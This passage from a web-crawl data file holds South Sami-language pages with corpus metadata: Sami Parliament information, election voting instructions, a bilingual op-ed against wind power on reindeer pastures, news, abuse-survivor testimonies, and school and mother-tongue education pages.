0.9999992847442627}","num_words":206,"character_repetition_ratio":0.101,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.044,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie barka ihke saemieh edtjieh åadtjoeh sijjen gïelem, sijjen kultuvrem jïh sijjen siebriedahkejieledem gorredidh jïh evtiedidh.\nGoevten 6. b. saemiej åålmegebiejjiem aavoedibie. Gïehtjh daam animasjovnevideovem gusnie maahtah vielie lïeredh åålmegebiejjien fåantoen bïjre.\nDaesnie maahtah vielie lohkedh åålmegebiejjien jïh nasjonaale symbovli bïjre\nIemielaakan Saemiedigkie vuesiehtimmieh tjïrrehte, men suetievaarjelimmien gaavhtan gaajhkh vuesiehtimmieh leah heajhtasovveme. Mïnnh guessine mijjen digitaale vuesiehtimmesne gusnie maahtah ånnetji gåeteste vuejnedh jïh åadtjodh ånnetji vielie daejredh Saemiedigkien barkoen bïjre.\nWatch a digital tour of the Sami Parliament Building, with english subtitles","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/sametinget.no\/?sprak=14\/tilskudd-og-stipend?tag=262","date":"2021-01-25T14:27:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703581888.64\/warc\/CC-MAIN-20210125123120-20210125153120-00271.warc.gz","language":"sma","language_score":1.0000027418,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 1.0000027418136597}","num_words":81,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.099,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vïenhtim lim 40-jaepien baanhtsan båateme. Limen jååkedamme, orre mïelehke lij, jeatjah-ligke barkosne dåemiedim, jïjtjemem maskastim, bælloe læssani, seksuelle jieliemisnie aaj geerve; ae, ussjedim, buarene sån badth. Idtjin daalhkesh naan viehkine, idtjin doh jeatjah davvomevuekieh gih mejtie mov orre mïelehke sïjhti galkim pryövedh. Iehkedsbiejjien gåessie akt, buerie jïh jïermijes guejmine soptsesteminie lim, dillie voestes ïskeres mojhtesh munnjan böötin. Hïehkesth. Åejjie jamhkarosti. Dellie van guarkajim gujht. Meehtim jïjtje aelkiestidh jïelemem stuvrehtidh.\nAbpe maanabaeliem leam irhkemen bïjre mïeleme, men easkah goh 37 jaepien jïh tjaebpies baarnan aehtjine sjïdtim, assjaldahkh eelkin mannem tjarke sturredh. Aehtjine sjïdtedh buektieji båeries mojhtesh, jïh mænngan goh gieries tjædtjeme lij raaffan bïeseme gellie geerve jaepiej mænngan don beerkeles skïemtjelassen dïete, dle lij munnjan aaj aejkie jïjtjene tjoelmide aelkedh loetedh mejtie mïelim mov lin, men mejtie lim tjïekeme gaajhkijste jeatjabijstie.\nDeejrim mij akt båajhtede, idtjim badth daejrieh mij. 30 jaepieh nahkin åvtelen guarkajim. Mov barkoe sujhtemesuerkesne lij, jïh ikth barkijitjåanghkosne lin aamhtesem digkedeminie seksuelle irhkeldh baernien bïjre. Hïehkesth guarkajahtjim, daam hip lim jïjtje dååjrehtamme! Dellie jïh desnie mov prosesse eelki.","id":"","dump":"CC-MAIN-2021-04","url":"http:\/\/aarjel.utsattmann.no\/testimonial-category\/erkjennelsen\/","date":"2021-01-20T00:39:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703519843.24\/warc\/CC-MAIN-20210119232006-20210120022006-00143.warc.gz","language":"sma","language_score":0.9999711514,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999711513519287}","num_words":168,"character_repetition_ratio":0.03,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.054,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Publicerad: 15 januari 2021\nVeeljemisnie Saemiedægkan tjaatsestidh\nVeeljemisnie Saemiedægkan suehpeden 16.b. 2021 maahtah göökte vuekine tjaatsestidh. Maahtah veeljemesijjesne veeljemebiejjien tjaatsestidh vuj prievine tjaatsestidh Sveerjesne vuj ålkoelaanteste.\nPrievine tjaatsestidh Sveerjesne vuj ålkoelaanteste\nMedtie aske veeljemebiejjien åvteli Veeljemereereme materijaalh jïh tjaatsestimmiekåarhth seedtie gaajhkide gïeh tjaatsestimmiereaktam utnieh jïh leah meatan minngemes tjaatsestimmielåhkosne.\nDah materijaalh leah dov tjaatsestimmiekåarhte, veeljemesïetelh, veeljemeskuahpa, gaptjeseskuahpa jïh bïevnesh guktie dov tjaatsestimmiem öörnedh.\nDatne maahtah prievine tjaatsestidh rætnoe dov materijaalem påastine åådtjeme. Seedth prievietjaatsestimmiem seejnemes veeljemebiejjien guktie tjaatsestimmie ryöknesovvedh.\nJis datne ålkoelaantesne maahtah daarpesjidh dov tjaatsestimmiem aarebi seedtedh guktie tjaatsestimmieryöknemasse jaksa suehpeden 24.b.\nMaterijaali lissine daarpesjh göökte almetjh båarasåbpoe 18 jaepeste gïeh maehtieh vihtiestidh datne dov tjaatsestimmiem öörneme.\nDah almetjh edtjieh dov lïhked årrodh gosse dov tjaatsestimmiem öörnh, men ih daarpesjh vuesiehtidh mïsse tjaatsestidh.\nJis viehkiem daarpesjh dov prievietjaatsestimmiem öörnedh\nJis dov svihtjemeheaptoe jallh seamma leejns mestie ih maehtieh dov jïjtje tjaatsestimmiem öörnedh maahtah aktem væhnijste jallh mubpie almetjem gihtjedh jis maahta datnem viehkiehtidh.\nJis daarpesjh åådtje dïhte vuesiehtimmie datnem viehkiehtidh persovnetjaatsestimmiem vïhtesjidh jïh veeljemesïetelem veeljemeskuahpese bïejedh.\nVeeljemesavkesne veeljemebiejjesne tjaatsestidh\nVeeljemisnie Saemiedægkan maahtah tjaatsestidh seamma mij veeljemesavkesne veeljemebiejjesne suehpeden 16.b. 2021. Veeljemesavkah ræhpas tsåahka 8.00 raejeste 20.00 raajan.\nVeeljemesavkah dennie sijjine\nVeeljemesavkah dennie sijjine:\nSijjie\nSavka\nGáresavvun\nFörsamlingsgården, Laestadiusvägen 81\nÖvre Soppero\nÖvre Soppero skuvle - sporthallen\nPajala\nGamla Sporthallens Dagcentra, Medborgarvägen 5\nGirun\nSaemiedigkien kanslije, Adolf Hedinsvägen 58\nGällivare\nÁvki, Malmbergsvägen 4\nJokkmokk\nSparbankssalen, Àja-huset , Lärargatan 2-4\nLuleå\nKulturens hus, Skeppsbrogatan 17\nPiteå\nKyrkcenter, Piteå församling Nygatan 23\nSkellefteå\nStadshuset Brinken, Trädgårdsgatan 6\nArjeplog\nMedborgarhuset, Strömvägen 23 A\nArvidsjaur\nArvasgården, Lappstadsgatan 7\nMalå\nFörsamlingshemmet, Kyrkogatan 3\nSuarssa\nFolkets hus, Stationsgatan 16\nDearna\nTärna samservice, V:a strandvägen 11\nVualtjere\nTingshuset\/turistbyrån, Tingsgatan 1\nLiksjoe\nEntrehuset, Gammplatsen\nUpmeje\nTráhppie, Gammlia, Helena Elisabeths väg 4\nStraejmie\nFolkets Hus, Ramselevägen 6\nStaare\nGaaltije – sydsamiskt kulturcentrum, Köpmangatan 58\nBïenjedaelie\nFunäsdalens skola, Skolbacken\nOrrestaare\nStadshuset Kronan, Järnvägsgatan 6\nSundsvall\nKulturmagasinet, Packhusgatan 4\nStuehkie\nHyresgästlokalen, Åsögatan 79, bv\nGöteborg\nSameföreningens lokal i Göteborg, Riksdalersgatan 29\nVaeltieh meatan id-paehperh jïh tjaatsestimmiekåarhtem\nDatne daarpesjh meatan vaeltedh id-paehperh jïh tjaatsestimmiekåarhtem jis edtjh dov veeljemesavkesne tjaatsestidh veeljemebiejjesne.\n- Jis ih naan id-paehperh utnieh maahta mubpie almetje dov identiteetem vïhtesjidh, men dellie tjuara dïhte almetje id-paehperh vuesiehtidh.\n- Jis datne dov tjaatsestimmiekåarhtem åajaldehtih jallh dam laehpeme maahtah orre åadtjodh tjaatsestimmiedåastoejistie. Aaj gååvnesieh vielie veeljemeskuahpah jïh veeljemesïetelh veeljemesavkesne.\nTjaatsestimmiedåastojh dov tjaatsestimmiekåarhtem nuhtjieh gosse dov tjaatsestimmiem seedtieh Leeneståvrose Norrbottenen leenesne gusnie dah kroessem bïejieh veeljemelåhkosne jïh dam ryöknoeh.\nNaemhtie veeljemesavkesne tjaatsesth\n- Datne åadtjoeh veeljemeskuahpam tjaatsestimmiedåastoejistie.\n- Datne veeljemebïerjesen duakan vaadtsah jïh dov tjaatsestimmiem öörnh tjïehtjelisnie. Veeljemesïetelem veeljemeskuahpan sïjse bïejh.\n- Datne dov veeljemeskuahpam, tjaatsestimmiekåarhtem jïh ID-paehperem tjaatsestimmiedåastojidie.\n- Tjaatsestimmiedåastojh vaaksjoeh tjaatsestimmiem ryöjredih eensilaakan jïh lahtestieh datne tjaatsestih veeljijetjaalegasse. Dan mænngan akte tjaatsestimmiedåastoje beaja veeljemeskuahpam veeljemekåarhtese mij aaj bæjngoldsskuahpa jïh dam njimkehte. Tjaatsestimmiem tjöönghkemeaaskan beaja.\nJis viehkiem daarpesjh dov tjaatsestimmiem öörnedh veeljemesavkesne\nJis datne svihtjemeheaptoem åtnah jallh seamma leejns mestie ih maehtieh jïjtje tjaatsestimmiem öörnedh maahtah viehkiem åadtjodh veeljemebïerjesen duekesne.\nJis daarpesjh maahta vuesiehtimmie datnem viehkiehtidh persovnetjaatsestimmiem vïhtesjidh jïh veeljemesïetelem veeljemeskuahpese bïejedh.\nDatne jïjtje nænnosth gie edtja datnem viehkiehtidh men maahtah aaj gihtjedh naaken dejstie tjaatsestimmiedåastoejistie datnem viehkiehtidh. Tjaatsestimmiedåastojh sjaevehtsdïedtem utnieh jïh eah åadtjoeh soptsestidh mubpide guktie datne tjaatsestih.","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/www.val.se\/val-och-folkomrostningar\/saemiedigkie-sydsamiska\/vuekieh-tjaatsestidh.html","date":"2021-01-18T04:51:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703514121.8\/warc\/CC-MAIN-20210118030549-20210118060549-00455.warc.gz","language":"sma","language_score":0.9999750853,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999750852584839}","num_words":480,"character_repetition_ratio":0.133,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.042,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saken oppdateres.\nRed.anm.: Se norsk versjon nederst. Den sørsamiske versjonen er oversatt av Sametingets oversetter.\nDaelie Stoerredigkie aamhtesem Vindkraft på land gïetedamme. Gyhtjelasse lea mejtie jarkelimmieh konsesjovnegïetedimmesne sæjhta naemhtie juhtedh guktie rïektesisnie gåarede dam vijries bïegkeindustrijem tjöödtjestidh gåatomelaantine jïh eatnamisnie mejstie mijjieh dan jearohke.\nStoerredigkiebïevnese åajvahkommes aamhtesegïetedimmiem bïegkeindustrijebigkemidie jåarhka, jïh ij nuekie vaarjelimmiem vedtieh ihke voenges seabradahkh, gåatomejielemh jïh eatnemedajvh edtjieh gorresovvedh dejtie mah leah jeenjemes jearohke dejstie vyörtegs vierhtijste mejtie eatneme mijjese vadta. Saepmesne gamte sïemesvoete orreme bïegkefaamoebigkemen bïjre. Saemiedigkien stoerretjåanghkoe lea bïegkefaamoebigkemem saemien båatsoedajvine tjïelkelaakan nyöjkeme, jïh Nöörjen båatsoesaemiej rïjhkesiebrie (NBR) bïegkefaamoem båatsoedajvine ållesth vuastele.\nDan joekoen ovmurreds gosse dïhte orre konsesjovnegïetedimmie ij dam krööhkesth. Båatsoen gaajh nåake tsiehkie dejnie stoerre aajhtojne, sijjieh maehtieh saaht gåessie joekoen krïevije aamhtesegïetedimmiem åadtjodh bïegkefaamoesoejkesji gaavhtan, dïhte jåarhka daejnie stoerredigkiebïevnesinie.\nDaate aajhtoe lea rïektes jïh båatsoealmetji jïh mijjen gåatomelaanten bijjeli gævnjesje goh aajhtije vaahra. Daate ij naan stabiliteetem båatsose vedtieh gosse lea daan beajjetje tsiehkien bïjre.\nBåatsoe lea jieleme mij stoerre areaalh daarpesje, men ahkedh deadtovem dååjroe gåatomedajvine. Dajvh leah prååsehke jïh joekoen vihkeles juktie maehtedh bovtsigujmie gïehtelidh. Ij akt båatsoe gænnah ajve akte jieleme, men jieledevåarome jïh naakede mij saemien gïelem, kultuvrem jïh identiteetem guadta. Gellie båatsoesïjth leah raasten nelnie destie dah orre skilkehtassijste tööllieh.\nStoerredigkien gïetedimmien gaavhtan stoerredigkiebïevnesistie, illedahke edtja buerebe voenges jïh regijonaale gårreldimmie årrodh, jïh båatsoe edtja buerebelaakan meatan vaaltasovvedh. Båatsoen gaavhtan ij leah amma seekere gænnah mejtie mij akt buerebe sjædta gosse tjïelth jïjtjh edtjieh nænnoestidh mejtie jïh gusnie dah areaalh bïegkefaamose faalehtieh. Båatsoesïjth maaje dajvh nuhtjieh gelline tjïeltine, aaj fylhkine, jïh doh voenges daajroeh båatsoen bïjre vihkele sjidtieh gosse orre bïegkefaamoeprosjekth buartan båetieh.\nDaelie saemien seabradahke tjuara mijjen tjoermehtassh stuvredh dejtie veljies tjïeltepolitihkeridie bïjre jarkan laantesne, mah gåaroes tjïeltekaasusinie tjabreminie jïh mej stoerre daerpiesvoete darjomigujmie nïerhkedh smaave tjïeltine. Gieries gåassoehtæjjatjïelth, krööhkesth jïh aellieh orre skilkehtassigujmie nïerhkh mah stoerre konsekvensh båatsose vedtieh! Mijjen ååpsen gellie bïegkeindustrijedajvh vuajneme mah vihkeles gåatomedajvh stoerre aarvojne beajsteme, jïh dan gaavhtan aaj jieliemassevåaromem. Daate lea joekoen nåake tsiehkie dejtie båatsoealmetjidie mah daejnie aamhtesinie tjåadtjoeh, jïh mah tjuerieh konsekvenside guedtedh. Olles daate edtjh sjugniehtovvedh båetijen aejkien dellie dagke gaajhkesh mijjieh maehtebe lïeredh guktie dah ussjedieh mah eatnaminie jielieh jïh eah eatnamistie: Mijjieh eatnemem båetijen aejkien boelveste löönebe, dah edtjieh seamma nuepieh mijjine utnedh.\nGieries gåassoehtæjjatjïelth, mov håhkoe lea dijjieh daam krööhkestidie jïh veelelaakan ussjede åvtelen bïegkefaamoevierhkieh gåatomedajvine soejkesjidie. Dijjen akte joekoen stoerre dïedte man åvteste tjoerede guhkiebasse ussjedidh jïh båatsoem, jeatjah gåatomejielemh, almetji åtnoem miehtjiesdajveste, mijjen kultuvreeatnemh jïh eatnemem gorredidh, mestie gaajhkesh mijjieh dan jearohke. Mijjen båetije aejkie lea dijjen gïeti sisnie, gaajhkine mij lea vïedteldihkie daase.\nMinngemes, gosse lea Fovsen-njaarken jïh Fovsen-Njaarken båatsoesïjten bïjre, mij joe stoerre gåatomedajvh dasseme govhte bïegkefaamoevierhkide 264 bïegketurbijnigujmie tjuara daelie nuekie årrodh, jïh gåassoehtimmiesïelth tjuerieh nyöjhkedh gåatomelaantem jïh eatnemem enn vielie goerpedehtedh.\nInteressert i debatt og meninger? Les flere saker her.\nNORSK VERSJON:\nStortinget har nå behandlet saken Vindkraft på land. Spørsmålet er om endringene i konsesjonsbehandlingen vil fungere slik at det reelt er mulig å stoppe etablering av den omfattende vinindustrien i beitelandet og naturen vi er så avhengige av.\nStortingsmeldingen viderefører i all hovedsak saksbehandlingsregimet for vindindustriutbygginger, og gir ikke god nok beskyttelse for at lokalsamfunn, beitenæringer og naturområder skal kunne ivaretas for de som er mest avhengige av de uerstattelige betingelsene som naturen gir oss.\nI Saepmie har det vært bred enighet når det gjelder vindkraftutbygging. Sametingets plenum har sagt klart nei til vindkraftutbygging i samiske reinbeiteområder, og Norske reindriftssamers landsforbund (NRL) uttrykker nulltoleranse for vindkraft i reindriftsområder.\nDet er utrolig trist at dette ikke blir tatt til følge i den nye konsesjonsbehandlingen. Den uutholdelige situasjonen for reindrifta med den store trusselen av at en når som helst kan få en enormt krevende saksbehandling som vindkraftsplaner gir, videreføres med denne stortingsmeldingen. Denne trusselen er reell og henger som et ekte damoklesverd over reineierne og over beitelandet vårt. Dette gir ingen forutsigbarhet for reindriften når det gjelder den situasjonen vi har i dag.\nReindrift er en arealkrevende næring, men opplever stadig press på beiteområdene. Områdene er sårbare og svært viktig for å utøvelse av reindrift. Reindrift er heller ikke bare en næring, men et livsgrunnlag og bærebjelke for samisk språk, kultur og identitet. Mange reinbeitedistrikt er på grensa av hva de tåler av nye inngrep.\nStortingets behandling av stortingsmeldingen har resultert i at det nå skal være bedre lokal og regional forankring og bedre involvering av reindrifta. For reindrifta sin del er det beklageligvis slett ikke sikkert det blir noe bedre av at kommunene selv skal bestemme om og hvor de stiller arealer til disposisjon for vindkraft. Reinbeitedistrikt strekker seg gjerne over flere kommuner, også fylker, og de lokale kunnskapene om reindrift blir viktig når nye vindkraftprosjekter kommer på bordet.\nDet samiske samfunnet må nå rette våre bønner til de utallige kommunepolitikerne rundt i landet som sliter med tom kommunekasse og stort behov for å prøve å få i gang aktiviteter i små kommuner. Kjære vertskommuner, ta hensyn og unngå nye inngrep som skaper store konsekvenser for reindrifta! Vi har sett alt for mange eksempler på vindindustriområder som har ødelagt dyrebare beiteområder og med det livsgrunnlag. Dette er en uholdbar situasjon for de reindriftsutøverne som står i det og som må bære konsekvensene. For at dette skal unngås i fremtiden så kanskje vi alle kan ta lærdom i grunntenkningen til de som lever med naturen, og ikke av: Vi låner landet til den fremtidige generasjonen, de skal ha samme muligheter som oss.\nKjære vertskommuner, jeg håper dere tar dette til etterretning og tenker dere nøye om før det planlegges vindkraftanlegg i reinbeiteområder. Dere har et meget stort ansvar som medfører at dere må tenke langsiktig og ivareta reindrifta, andre beitenæringer, folks utmarksbruk, våre kulturlandskap og naturen vi alle er avhengige av. Vår fremtid er i deres hender med alt som dette medfører.\nTil slutt, når det gjelder Fosen halvøya og Fosen reinbeitedistrikt som allerede har tapt store beiteområder til seks vindkraftanlegg med påfølgende 264 vindturbiner må det nå være nok og vertskommunene må nå si nei til ytterligere nedbygging av beiteland og naturen!","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/www.adressa.no\/meninger\/ordetfritt\/2020\/12\/03\/Gieries-b%C3%AFegkefaamoen-g%C3%A5assoeht%C3%A6jjatj%C3%AFelth-kr%C3%B6%C3%B6hkestidie-b%C3%A5atsoem-Kj%C3%A6re-vertskommuner-for-vindkraft-ta-hensyn-til-reindrifta-23105621.ece","date":"2021-01-16T21:24:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703507045.10\/warc\/CC-MAIN-20210116195918-20210116225918-00095.warc.gz","language":"sma","language_score":0.9905721545,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9905721545219421}","num_words":996,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.057,"flagged_words_ratio":0.0,"lang_id_score":0.992,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ellinor Jåma veeljesovvi goh åvtehke Nøørjen Båatsoe Rijhkesiebrien (NBR) åårganisasjovnesne. Daate rijhketjåanghkoe minngemes hieljen Vadsøsne.\nGarmare jih dåajmijes, mannem NBR åvtehkine veeljeme, mov gïknjelassh båetieh, jeahta Jåma.\n– Manne vuajnam NBR maahta jijnjem goh åårganisasjovne darjodh. Jih daam nuepiem edtja manne doerelidh, jeahta Jåma.\nBåatsoe jielemem ektiedidh, orrestidh, jih orre åssjalommes, edtja båatije biejjien NBR åårganisasjovnem nænnoestidh.\nJåma vuajna daerpies struktuvre jarkoestimme jih aaj ïedtjije laakan barkedh dah stoerre aamhtsi gujmie.\n– Båatsoe jieleme Nøørjesne stoerre haestemem åtna jih stoerre tjoeperh. NBR edtja barkedh jih bovtselåhkoem Finnmarkesne sjïehtedidh, Nøørjen-Sveerjen båatsoekonvensjovne jih dihte ov-juvre tjoeperdimmie","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/www.nrk.no\/sapmi\/orre-assjalommes-1.11781308","date":"2021-03-07T12:37:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178376467.86\/warc\/CC-MAIN-20210307105633-20210307135633-00626.warc.gz","language":"sma","language_score":0.9999742508,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999974250793457}","num_words":92,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Upmejisnie gellie tjïelten jåarhkeskuvlh, rïjhkejåarhkeskuvlh jïh frïjje jåarhkeskuvlh gååvnesieh. Jis nuerebe 20 jaepeste jåarhkeskuvleööhpehtimmiem lohkh. Jis båarasåbpoe 20 jaepeste geerveööhpehtimmesne lohkh.\nJåarhkeskuvledåastove Västerbottenen leenesne bïevnesh vadta ööhpehtimmiej bïjre jïh dïhte dïedtem åtna ohtsemh jåarhkeskuvlide Västerbottenisnie. Jis maadthskuvlesne jallh jeatjah skuvlesne ohtsemem studijebïhkedæjjese skuvlesne vadta jallh gaskeviermien tjïrrh (www.gymnasieantagningen.nu). Webbesijjesne gååvnese jienebh bïevnesh jåarhkeskuvlen ohtsemen bïjre.\nLearohkh leenen ålkoelisnie dej ohtsemem vadta ohtsemesuarkan sov hïejmetjïeltesne. Jienebh bïevnesh, bïeljelh studije- jïh barkoegeajnoebïhkedæjjah jallh jåarhkeskuvleohtsemem.","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/www.umea.se\/kommunochpolitik\/languages\/samiengiallije\/maanahjihoohpehtimmie\/jaarhkeskuvle.4.640818217563dc9fe54f0d.html","date":"2021-04-21T11:55:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618039536858.83\/warc\/CC-MAIN-20210421100029-20210421130029-00129.warc.gz","language":"sma","language_score":0.999997139,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"sma_Latn_score\": 0.9999971389770508}","num_words":70,"character_repetition_ratio":0.106,"word_repetition_ratio":0.0,"special_characters_ratio":0.119,"stopwords_ratio":0.071,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vaajmoe lea bollen garra bielesne mïelken nuelesne jïh gåbloej gaskemes.\nDov vaajmoe lea seamma stoere goh dov tjarme.\nVaajmoe vïrrem åeriej mietie eejnegen jïevkehte, saaht seamma jis datne åarah jallh vaarrh.\nBïejh gïetem mïelken garra bielese dle maahtah damtedh guktie vaajmoe jïevkehte.\nPulse leah man gellien tjïektjh vaajmoe tjeaktja fïerhten minudtem.\nPulsem aaj damth jis göökte soermh biejh gïeten lïhtsen bijjelen, tjïektjedh-åerien rastah.\nGeerve almetjh vïjhte - tjïjhtje lijhterh vïrrh bollesne utnieh, mohte maanan unnebe medtie nieljie lijhterh.","id":"","dump":"CC-MAIN-2021-17","url":"http:\/\/prod.ovttas.no\/node\/5132","date":"2021-04-23T06:17:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618039601956.95\/warc\/CC-MAIN-20210423041014-20210423071014-00169.warc.gz","language":"sma","language_score":0.9999946356,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999946355819702}","num_words":77,"character_repetition_ratio":0.036,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.065,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ietniegïele\nHijven daejredh\nLearohke gie lïhtsege naan dejstie nasjonaale unnebelåhkojste åtna sjïere tjarke reakta ietniegïeleööhpehtæmman. Ij gååvnesh naan krïevemh gïele edtja learohken aarkebiejjien gaskesadtemegïelem gåetesne årrodh jallh learohke edtja maahtoem gïelesne utnedh. Ij leah gan naan krïeveme tjuara vïjhte learohkh årrodh jis edtja ööhpehtimmine aelkedh, daarpesje sjïehteles lohkehtæjjam. Dah vïjhte nasjonaale unnebelåhkoegïelh leah såevmiengïele, jiddissh, meänkieli, romani chib jïh saemiengïelh.\nMaadthskuvlesne jïh jåarhkeskuvlesne learohkh reaktam utnieh ietniegïeleööhpehtimmiem åadtjodh dej nasjonaale unnebelåhkoegïelesne. Aarhskuvle lea maadthskuvlesne goh voestes jaepie maadthskuvleööhpehtimmesne.\nIetniegïeleööhpehtimmiem kuvsjesoejkesjh jïh ïebnesoejkesjh stuvrieh ietniegïele ïebnesne. Vuarjasjimmie jïh vihtiestimmie seamma vuekine goh mubpieh ïebnine. Maahtoeh jïh daajroeh mah learohke vuesehte vuarjesje maahtoekrïevemi mietie kuvsjesoejkesjisnie jallh ïebnesoejkesjisnie mah gååvnesieh fïerhten skuvlehammosne.\nJis datne sïjhth dov maana edtja ietniegïeleööhpehtimmiem åadtjodh maadthskuvlesne jallh seamma plïeresne skuvlehammojne tjoerh dam ohtsedh. Jis datne learohke jåarhkeskuvlesne jallh seamma plïeresne skuvlehammojne dellie jïjtje ohtsh. Datne ohtsh goerine jïh e-dïenesjinie sveerjengïelesne.\nAarhskuvle edtja barkedh maanah mubpien ietniegïeline enn sveerjegïele nuepiem åadtjoeh dej maehtelesvoetem gaskesadtedh dovne sveerjengïelesne jïh dej ietniegïelesne. Aarhskuvlen learoesoejkesjen mietie edtja vuajnoe dan jïjtje kultuvreaerpiem jïh daajroe mubpiej kultuvri bïjre meatan årrodh maanah dej vuajnoeh evtiedieh guarkedh jïh mubpiej tsiehkiej jïh aarvoej bïjre guarkedh. Maanah lierieh dej aarkebiejjien darjomh, stååkedimmine jïh skaepiedihks dorjesinie. Barkijh edtjieh dan gaavhtan darjomh, barkoevuekieh, byjresh jïh materijaalh maanaj daerpiesvoeti mietie sjïehtesjidh.\nLearoehkidie gïeh aktine dejstie nasjonaale unnebelåhkojste identifijeeredh nænnoestamme ietniegïeledåarjoem aarhskuvleklaassesne faalesovvedh. Åelieh nænnoestamme ietniegïeledåarjoem uhtsieh.\nDåarjoe vadtasåvva 40 minuhth våhkosne goh integreereme boelhketje aarhskuvle sïejhme darjoemisnie jïh learohkedåehkine. Maanah lierieh ovmessie teemasuerkien baakoeh jïh jiehtegh gosse laavloeh, stååkedieh, guvviedieh, spïelh spielieh jïh vaajesh goltelieh.\nIetniegïeleööhpehtimmiem unnebelåhkoegïeline maahta lohkedh voestesgïeline (våaromen maahtojne) jallh mubpiengïeline (aalkoegïeline). Dah sjïere kuvsjesoejkesjh jïh maahtoekrïevemh utnieh. Flerspråkigt Centrum \/ Gelliengïeleh Jarnge vuarjesje jïs learohke edtja nasjonaale unnebelåhkoegïelem voestes- jallh mubpiengïeline lohkedh. Åelieh ietniegïeleööhpehtæmman uhtsieh.\nJåarhkeskuvlen learohkh gïeh aktine dejstie nasjonaale unnebelåhkojste identifijeeredh ietniegïeleööhpehtimmiem faalesovvedh. Learohkh jïjtje ietniegïeleööhpehtimmiem uhtsieh.\nÏebne ietniegïele lea golme kuvsjide juakeme:\n- Ietniegïele 1, 100 poengh, maadthskuvlen maahtoste jallh seammalaakan jåarhka.\n- Ietniegïele 2, 100 poengh, kuvsje ietniegïele 1 maahtoste jåarhka.\n- Ietniegïele – eadtjohke guektiengïelehvoete, 100 poengh, kuvsje ietniegïele 1 maahtoste jåarhka.\nKuvsjh ïebnesne ietniegïele fïerhten tjaktjen aelkieh jïh leah göökte termijnh. Ööhpehtimmie dåehkine, lïhkesööhpehtimmine jallh maajhööhpehtimmine, 100 minuhth våhkosne jïh voestes iereste lea sïejhme skuvlen minngiegietjien mænngan.\nLearohkh gïeh introduksjovneprogrammese tjaalasovveme jïh eah dåhkasjahteme vihtiestimmiem utnieh ïebnesne ietniegïele jaepiekuvsje 9, maehtieh ohtsedidh ïebnen maadthskuvlekuvsjem lohkedh.\nLearohkh gïeh uhtsieh ietniegïeleööhpehtimmiem nasjonaale unnebelåhkoegïeline jåarhkeskuvlesne jïh jåarhkesjïereskuvlesne tjuerieh, daate joekehts maadthskuvleste jïh maadthsjïereskuvlesne, unnebelåhkoegïelem buerielaakan maehtedh.\nGaskesadteme\nGaskesadtemejarnge ajve daaroste\nGaskesadtemejarnge\nTelefovne: 0660-880 00\nRæhpastïjjh telefovne: 07:30–17:00 helgfria vardagar (15 maj–15 september 07:30–16:15)\nE-påaste: firstname.lastname@example.org\nGåassoehtimmieadressh\nGåassoehtimmiejarnge staaregåetie Kronan: Järnvägsgatan 6, entréplan\nRæhpastïjjh gåassoehtimmiejarnge Kronan: 07:45–17:00 gaajhkh hïeljehts aarkebiejjieh (suehpeden 15.b.– skïereden 15.b. 07:45–16:15)\nDåastove staaregåetie Nygatan: Nygatan 16, plan 1\nRæhpastïjjh dåastove Nygatan: 07:45–16:30 gaajhkh hïeljehts aarkebiejjieh, beapmoegaptjeme 11:30–12:30 (suehpeden 15.b. – skïereden 15.b. 